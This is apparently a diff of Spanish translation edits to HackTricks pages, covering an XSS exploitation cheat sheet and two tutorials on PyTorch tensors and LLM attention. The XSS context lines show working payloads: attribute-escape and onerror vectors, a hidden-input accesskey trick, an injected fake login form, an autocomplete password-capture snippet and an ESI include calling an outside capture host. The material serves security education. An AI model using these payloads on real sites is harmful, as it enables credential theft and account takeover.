@@ -53,7 +53,7 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
 
 ### HTML crudo
 
-Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
+Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas posibles etiquetas HTML que podrías usar.\
 Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
 
 ### Dentro del atributo de etiquetas HTML
@@ -62,7 +62,7 @@ Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, pod
 
 1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
 2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
-3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor y **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
+3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se esté reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
 4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
@@ -365,11 +365,11 @@ Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentr
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Nota que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar el **payload** no **funcionará**, pero puedes **mezclarlos dentro del payload**.
+Nota que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar la **carga útil**, **no funcionará**, pero puedes **mezclarlos dentro de la carga útil**.
 
 **Usando codificación Hex y Octal con `javascript:`**
 
-Puedes usar **Hex** y **Octal encode** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
+Puedes usar **codificación Hex** y **Octal** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -385,7 +385,7 @@ Puedes usar **Hex** y **Octal encode** dentro del atributo `src` de `iframe` (al
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank" y rel="opener"`**, consulta la **siguiente página para explotar este comportamiento**:
+Si puedes inyectar cualquier URL en una etiqueta arbitraria **`<a href=`** que contenga los atributos **`target="_blank" y rel="opener"`**, consulta la **siguiente página para explotar este comportamiento**:
 
 {% content-ref url="../reverse-tab-nabbing.md" %}
 [reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónica, meta)
+### XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónico, meta)
 
 Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de entradas ocultas con:**
 ```html
@@ -424,7 +424,7 @@ Y en **meta tags**:
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-De [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar una **carga útil de XSS dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux, la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente usando una tecla diferente en el atributo de acceso. Aquí está el vector:
+Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar una **carga útil de XSS dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux, la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente usando una tecla diferente en el atributo de acceso. Aquí está el vector:
 ```markup
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
@@ -432,7 +432,7 @@ De [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Pue
 
 ### Bypass de listas negras
 
-Varios trucos utilizando diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
+Varios trucos utilizando diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de regreso para aprender dónde puedes usar:**
 
 * **Codificación HTML (etiquetas HTML)**
 * **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
@@ -478,7 +478,7 @@ Si tu código se inserta dentro de `<script> [...] var input = 'datos reflejados
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Nota que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se lleva a cabo después.
+Note que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados se lleva a cabo solo después.
 
 ### Dentro del código JS
 
@@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**Saltos de línea de JavaScript (de** [**trucos de saltos de línea de JavaScript**](./#javascript-new-lines) **)**
+**Saltos de línea de JavaScript (de** [**trampa de salto de línea de JavaScript**](./#javascript-new-lines) **)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@@ -897,7 +897,7 @@ import { partition } from "lodash";
 ```
 Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval para abusar de que puede desencadenar XSS.
 
-* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta función es principalmente para resolver algunos problemas causados por la pre-renderización. Funciona así:
+* [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta característica está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
 ```html
 <script type="speculationrules">
 {
@@ -913,7 +913,7 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y
 }
 </script>
 ```
-### Web Content-Types to XSS
+### Tipos de Contenido Web para XSS
 
 (De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
 
@@ -922,13 +922,13 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y
 * application/xml
 * text/xml
 * image/svg+xml
-* text/plain (?? no está en la lista pero creo que vi esto en un CTF)
+* text/plain (?? no está en la lista, pero creo que lo vi en un CTF)
 * application/rss+xml (apagado)
 * application/atom+xml (apagado)
 
 En otros navegadores, otros **`Content-Types`** pueden ser utilizados para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
-### xml Content Type
+### Tipo de Contenido xml
 
 Si la página está devolviendo un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario:
 ```xml
@@ -1006,7 +1006,7 @@ Por lo tanto, si desde ese módulo podemos **llamar a otra función**, es posibl
 ```
 {% endcode %}
 
-De manera similar al ejemplo anterior, es posible **usar controladores de errores** para acceder al **wrapper** del módulo y obtener la **`require`** función:
+De manera similar al ejemplo anterior, es posible **usar controladores de errores** para acceder al **wrapper** del módulo y obtener la función **`require`**:
 ```javascript
 try {
 null.f()
@@ -1206,7 +1206,7 @@ Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium
 ```markup
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Captura de contraseñas de autocompletar
+### Captura de contraseñas de autocompletado
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
 
 ### XSS a SSRF
 
-¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con este payload:
+¿Tienes XSS en un **sitio que utiliza caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con este payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
@@ -1446,7 +1446,7 @@ Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheat
 * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -1462,7 +1462,7 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
 
 * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
 
 </details>
 {% endhint %}

todo/llm-training-data-preparation/0.-basic-llm-concepts.md

@@ -30,25 +30,25 @@ GPT_CONFIG_124M = {
 ```
 ## Tensors en PyTorch
 
-En PyTorch, un **tensor** es una estructura de datos fundamental que sirve como un arreglo multidimensional, generalizando conceptos como escalares, vectores y matrices a dimensiones potencialmente más altas. Los tensores son la forma principal en que los datos se representan y manipulan en PyTorch, especialmente en el contexto del aprendizaje profundo y las redes neuronales.
+En PyTorch, un **tensor** es una estructura de datos fundamental que sirve como un array multidimensional, generalizando conceptos como escalares, vectores y matrices a dimensiones potencialmente más altas. Los tensores son la forma principal en que los datos se representan y manipulan en PyTorch, especialmente en el contexto del aprendizaje profundo y las redes neuronales.
 
 ### Concepto Matemático de Tensores
 
 * **Escalares**: Tensores de rango 0, que representan un solo número (cero-dimensional). Como: 5
-* **Vectores**: Tensores de rango 1, que representan un arreglo unidimensional de números. Como: \[5,1]
-* **Matrices**: Tensores de rango 2, que representan arreglos bidimensionales con filas y columnas. Como: \[\[1,3], \[5,2]]
+* **Vectores**: Tensores de rango 1, que representan un array unidimensional de números. Como: \[5,1]
+* **Matrices**: Tensores de rango 2, que representan arrays bidimensionales con filas y columnas. Como: \[\[1,3], \[5,2]]
 * **Tensores de Rango Superior**: Tensores de rango 3 o más, que representan datos en dimensiones superiores (por ejemplo, tensores 3D para imágenes en color).
 
 ### Tensores como Contenedores de Datos
 
 Desde una perspectiva computacional, los tensores actúan como contenedores para datos multidimensionales, donde cada dimensión puede representar diferentes características o aspectos de los datos. Esto hace que los tensores sean altamente adecuados para manejar conjuntos de datos complejos en tareas de aprendizaje automático.
 
-### Tensores de PyTorch vs. Arreglos de NumPy
+### Tensores de PyTorch vs. Arrays de NumPy
 
-Si bien los tensores de PyTorch son similares a los arreglos de NumPy en su capacidad para almacenar y manipular datos numéricos, ofrecen funcionalidades adicionales cruciales para el aprendizaje profundo:
+Mientras que los tensores de PyTorch son similares a los arrays de NumPy en su capacidad para almacenar y manipular datos numéricos, ofrecen funcionalidades adicionales cruciales para el aprendizaje profundo:
 
 * **Diferenciación Automática**: Los tensores de PyTorch soportan el cálculo automático de gradientes (autograd), lo que simplifica el proceso de calcular derivadas requeridas para entrenar redes neuronales.
-* **Aceleración por GPU**: Los tensores en PyTorch pueden ser trasladados y computados en GPUs, acelerando significativamente los cálculos a gran escala.
+* **Aceleración por GPU**: Los tensores en PyTorch pueden ser movidos y computados en GPUs, acelerando significativamente los cálculos a gran escala.
 
 ### Creando Tensores en PyTorch
 
@@ -132,7 +132,7 @@ En el corazón de la diferenciación automática está la **regla de la cadena**
 
 Matemáticamente, si `y=f(u)` y `u=g(x)`, entonces la derivada de `y` con respecto a `x` es:
 
-<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 **2. Grafo Computacional**
 
@@ -142,7 +142,7 @@ En AD, los cálculos se representan como nodos en un **grafo computacional**, do
 
 Consideremos una función simple:
 
-<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Donde:
 

todo/llm-training-data-preparation/4.-attention-mechanisms.md

@@ -11,7 +11,7 @@ Se utilizan muchas capas para esto, por lo que muchos parámetros entrenables va
 
 ### Entendiendo los Mecanismos de Atención
 
-En los modelos tradicionales de secuencia a secuencia utilizados para la traducción de lenguajes, el modelo codifica una secuencia de entrada en un vector de contexto de tamaño fijo. Sin embargo, este enfoque tiene dificultades con oraciones largas porque el vector de contexto de tamaño fijo puede no capturar toda la información necesaria. Los mecanismos de atención abordan esta limitación al permitir que el modelo considere todos los tokens de entrada al generar cada token de salida.
+En los modelos tradicionales de secuencia a secuencia utilizados para la traducción de idiomas, el modelo codifica una secuencia de entrada en un vector de contexto de tamaño fijo. Sin embargo, este enfoque tiene dificultades con oraciones largas porque el vector de contexto de tamaño fijo puede no capturar toda la información necesaria. Los mecanismos de atención abordan esta limitación al permitir que el modelo considere todos los tokens de entrada al generar cada token de salida.
 
 #### Ejemplo: Traducción Automática
 
@@ -19,7 +19,7 @@ Considera traducir la oración en alemán "Kannst du mir helfen diesen Satz zu
 
 ### Introducción a la Autoatención
 
-La autoatención, o intra-atención, es un mecanismo donde la atención se aplica dentro de una única secuencia para calcular una representación de esa secuencia. Permite que cada token en la secuencia asista a todos los demás tokens, ayudando al modelo a capturar dependencias entre tokens sin importar su distancia en la secuencia.
+La autoatención, o intra-atención, es un mecanismo donde la atención se aplica dentro de una única secuencia para calcular una representación de esa secuencia. Permite que cada token en la secuencia asista a todos los demás tokens, ayudando al modelo a capturar dependencias entre tokens independientemente de su distancia en la secuencia.
 
 #### Conceptos Clave
 
@@ -37,7 +37,7 @@ Consideremos la oración **"Hello shiny sun!"** y representemos cada palabra con
 
 Nuestro objetivo es calcular el **vector de contexto** para la palabra **"shiny"** utilizando autoatención.
 
-#### Paso 1: Calcular Puntuaciones de Atención
+#### Paso 1: Calcular las Puntuaciones de Atención
 
 {% hint style="success" %}
 Simplemente multiplica cada valor de dimensión de la consulta con el correspondiente de cada token y suma los resultados. Obtienes 1 valor por par de tokens.
@@ -51,13 +51,13 @@ Para cada palabra en la oración, calcula la **puntuación de atención** con re
 
 **Puntuación de Atención entre "shiny" y "shiny"**
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
 
 **Puntuación de Atención entre "sun" y "shiny"**
 
 <figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
 
-#### Paso 2: Normalizar Puntuaciones de Atención para Obtener Pesos de Atención
+#### Paso 2: Normalizar las Puntuaciones de Atención para Obtener Pesos de Atención
 
 {% hint style="success" %}
 No te pierdas en los términos matemáticos, el objetivo de esta función es simple, normalizar todos los pesos para que **suman 1 en total**.
@@ -113,7 +113,7 @@ Sumando los embeddings ponderados:
 
 1. **Calcular Puntuaciones de Atención**: Utiliza el producto punto entre el embedding de la palabra objetivo y los embeddings de todas las palabras en la secuencia.
 2. **Normalizar Puntuaciones para Obtener Pesos de Atención**: Aplica la función softmax a las puntuaciones de atención para obtener pesos que sumen 1.
-3. **Calcular el Vector de Contexto**: Multiplica el embedding de cada palabra por su peso de atención y suma los resultados.
+3. **Calcular Vector de Contexto**: Multiplica el embedding de cada palabra por su peso de atención y suma los resultados.
 
 ## Autoatención con Pesos Entrenables
 
@@ -258,7 +258,7 @@ Para **prevenir el sobreajuste**, podemos aplicar **dropout** a los pesos de ate
 dropout = nn.Dropout(p=0.5)
 attention_weights = dropout(attention_weights)
 ```
-Un abandono regular es de aproximadamente 10-20%.
+Un dropout regular es de aproximadamente 10-20%.
 
 ### Code Example
 
@@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
 
 ### Ejemplo de Código
 
-Podría ser posible reutilizar el código anterior y simplemente agregar un envoltorio que lo ejecute varias veces, pero esta es una versión más optimizada de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) que procesa todas las cabezas al mismo tiempo (reduciendo el número de costosos bucles for). Como puedes ver en el código, las dimensiones de cada token se dividen en diferentes dimensiones de acuerdo con el número de cabezas. De esta manera, si un token tiene 8 dimensiones y queremos usar 3 cabezas, las dimensiones se dividirán en 2 arreglos de 4 dimensiones y cada cabeza usará uno de ellos:
+Podría ser posible reutilizar el código anterior y simplemente agregar un envoltorio que lo ejecute varias veces, pero esta es una versión más optimizada de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) que procesa todas las cabezas al mismo tiempo (reduciendo el número de bucles for costosos). Como puedes ver en el código, las dimensiones de cada token se dividen en diferentes dimensiones de acuerdo con el número de cabezas. De esta manera, si el token tiene 8 dimensiones y queremos usar 3 cabezas, las dimensiones se dividirán en 2 arreglos de 4 dimensiones y cada cabeza usará uno de ellos:
 ```python
 class MultiHeadAttention(nn.Module):
 def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@@ -412,7 +412,7 @@ Para otra implementación compacta y eficiente, podrías usar la clase [`torch.n
 {% hint style="success" %}
 Respuesta corta de ChatGPT sobre por qué es mejor dividir las dimensiones de los tokens entre las cabezas en lugar de que cada cabeza verifique todas las dimensiones de todos los tokens:
 
-Si bien permitir que cada cabeza procese todas las dimensiones de embedding podría parecer ventajoso porque cada cabeza tendría acceso a toda la información, la práctica estándar es **dividir las dimensiones de embedding entre las cabezas**. Este enfoque equilibra la eficiencia computacional con el rendimiento del modelo y fomenta que cada cabeza aprenda representaciones diversas. Por lo tanto, dividir las dimensiones de embedding se prefiere generalmente sobre permitir que cada cabeza verifique todas las dimensiones.
+Si bien permitir que cada cabeza procese todas las dimensiones de embedding podría parecer ventajoso porque cada cabeza tendría acceso a toda la información, la práctica estándar es **dividir las dimensiones de embedding entre las cabezas**. Este enfoque equilibra la eficiencia computacional con el rendimiento del modelo y fomenta que cada cabeza aprenda representaciones diversas. Por lo tanto, dividir las dimensiones de embedding se prefiere generalmente a que cada cabeza verifique todas las dimensiones.
 {% endhint %}
 
 ## Referencias